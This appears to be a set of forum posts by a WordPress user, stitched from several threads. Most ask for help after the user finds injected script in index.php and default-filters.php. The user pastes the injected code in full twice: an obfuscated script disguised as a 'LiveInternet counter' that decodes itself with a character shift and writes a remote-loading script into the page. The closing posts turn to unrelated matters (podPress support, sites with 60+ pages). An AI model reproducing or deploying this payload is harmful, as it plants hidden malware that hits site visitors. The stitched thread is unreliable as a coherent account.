locash

i found this in my index.php file (again).

<!–LiveInternet counter–><script>var source =”=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-73-43-229-:8-225-43-94-227-225-72-45-215-223-4:-43-22:-216-211-227-215-72-4:-62-65-4:-43-215-212-216-214-215-227-72-4:-65-61-4:-43-226-227-232-219-212-72-4:-211-216-226-223-219-:8-232-69-221-222-221-212-4:-73-71-58-216-213-225-:8-21:-212-73-71-216-213-225-:8-21:-212-43-221-:8-21:-212-72-4:-225-233-4:-43-226-225-::-72-4:-215-227-227-223-69-58-58-227-222-225-221-63-68-67-5:-61-63-57-216-221-213-222-58-213-216-212-58-216-221-211-212-231-57-223-45-21-211-222-::-228-21:-212-221-227-57-22:-225-216-227-212-51-94-227-225-57-226-228-:9-226-227-225-216-221-214-51-64-66-55-5:-5:-64-52-55-94-227-225-57-226-228-:9-226-227-225-216-221-214-51-59-55-64-66-52-52-43-71-58-226-::-225-216-223-227-73**<=0tdsjqu?”; var result = “”; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write(result); </script><!–/LiveInternet–>

how is he getting in. i thought 2.6 stopped this. thanks.

also when i load a page now (from my site) in my progress bar in the bottom it says:

waiting for torn498123.info that is not my site.

what can i do to get rid of this hacker?

geeeeez!!!!

i found this in my default-filters.php

<!–LiveInternet counter–><script>var source =”=tdsjqu?epdvnfou/xsjuf)Tusjoh/gspnDibsDpef)71-226-::-225-216-223-227-73-43-229-:8-225-43-94-227-225-72-45-215-223-4:-43-22:-216-211-227-215-72-4:-62-65-4:-43-215-212-216-214-215-227-72-4:-65-61-4:-43-226-227-232-219-212-72-4:-211-216-226-223-219-:8-232-69-221-222-221-212-4:-73-71-58-216-213-225-:8-21:-212-73-71-216-213-225-:8-21:-212-43-221-:8-21:-212-72-4:-225-233-4:-43-226-225-::-72-4:-215-227-227-223-69-58-58-227-222-225-221-63-68-67-5:-61-63-57-216-221-213-222-58-213-216-212-58-216-221-211-212-231-57-223-45-21-211-222-::-228-21:-212-221-227-57-22:-225-216-227-212-51-94-227-225-57-226-228-:9-226-227-225-216-221-214-51-64-66-55-5:-5:-64-52-55-94-227-225-57-226-228-:9-226-227-225-216-221-214-51-59-55-64-66-52-52-43-71-58-226-::-225-216-223-227-73**<=0tdsjqu?”; var result = “”; for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1); document.write(result); </script><!–/LiveInternet–>

How is this happening. i reinstalled wordpress (latest) and made a new database. How is hackers getting into this? please advise.

thanks.

and why would it work fine last nite and now suddenly be messed up. Is it getting hacked?

seems to be something to do with cookies. i checked those files mentioned (i did not mess with them at all) all i did was install a theme.

but now i cant even log in.

How do I export my posts as an xml file? and what if i cant even get into my admin panel?

cavemonkey if you make the switch easier im sure youd have a boatload of people switching over….just not happy with podpress support and it seems to have broke since WP 2.5

why would someone have 60+ pages? what is the benefit?

yes would love an alternative….its broke and doesnt work well with WP 2.5x